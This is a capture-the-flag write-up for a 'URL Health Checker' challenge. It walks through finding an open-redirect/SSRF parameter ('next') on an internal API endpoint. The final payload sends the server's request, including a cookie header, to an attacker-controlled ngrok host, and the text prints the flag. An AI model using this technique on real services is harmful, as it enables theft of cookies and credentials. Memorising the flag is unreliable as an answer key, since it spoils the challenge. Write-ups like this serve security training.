Fortify -Writeup Reconnaissance

- On the **landing page ("URL Health Checker")** you're only presented with a generic input for checking URL availability.
- **Information Disclosure:** The landing page explains that all checks request URLs using the /api/v1/tracker endpoint.
- This hint gives away the actual backend API endpoint to target for parameter manipulation.

API Endpoint Discovery

- While the landing UI looks harmless, pay attention to the documentation and page notes:

"the request will be sent from this host (127.0.0.1:5000)..."

- By testing different inputs and inspecting responses, you confirm that:

text

http://127.0.0.1:5000/api/v1/tracker?next=<your_url> is

the actionable endpoint handling user-submitted URLs.

Exploiting the Open Redirect

- The vulnerable parameter is next.
- You can supply your external, attacker-controlled endpoint (e.g., ngrok URL).
- **Final attack payload:**

text

http://127.0.0.1:5000/api/v1/tracker?next=https://archidiaconal-lester-nonceremoniously.ngrokfree.dev/

Capturing the Flag

- Run ngrok locally and inspect the request sent to your endpoint via http://localhost:4040.
- The flag or sensitive data (such as a cookie header containing the flag) will be revealed in the request details.

Flag: Found in the cookie header: flag=Th3_d3v1l_1s_1n_th3_d3tA1ls_4nd_th3_l0gs